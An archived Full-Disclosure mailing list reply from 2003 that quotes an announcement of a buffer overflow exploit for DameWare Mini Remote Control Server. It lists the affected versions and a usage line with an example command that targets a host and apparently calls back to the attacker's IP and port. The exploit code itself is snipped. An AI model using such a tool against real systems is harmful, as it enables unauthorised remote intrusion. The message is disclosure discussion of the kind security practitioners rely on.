full-disclosure - [Exploit]: DameWare Mini Remote Control Server Overflow Exploit

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]

Message-ID: <20031219220154.GA56411@netpublishing.com>
From: ggilliss at netpublishing.com (Gregory A. Gilliss)
Subject: [Exploit]: DameWare Mini Remote Control Server Overflow Exploit

Funny! I have a client who got compromised through another remote access
product (PCAnyWhere) and *this* was the hacker's backdoor! I guess that
I can go back now and try and re-compromise the client using the compromise
of the compromise (oh, dizzy ...) <LOL>

G

On or about 2003.12.19 21:38:25 +0000, Adik (netninja@...mail.kg) said:

> DameWare Mini Remote Control Server Exploit
> 
> C:\xploits\dmware>dmware
> 
>         ...oO DameWare Remote Control Server Overflow Exploit Oo...
> 
>                 -( by Adik netmaniac[at]hotmail.KG )-
> 
>  - Versions vulnerable: <= DWRCS 3.72.0.0
>  - Tested on: DWRCS ver: 3.72.0.0 Win2k SP3 & WinXP SP1
> 
>  Usage: dmware <TargetIP> <TargetPort> <YourIp> <YourPort>
>  eg: dmware 10.0.0.1 6129 10.0.0.2 21
> 
<SNIP> 

-- 
Gregory A. Gilliss, CISSP                              E-mail: greg@...liss.com
Computer Security                             WWW: http://www.gilliss.com/greg/
PGP Key fingerprint 2F 0B 70 AE 5F 8E 71 7A 2D 86 52 BA B7 83 D9 B4 14 0E 8C A3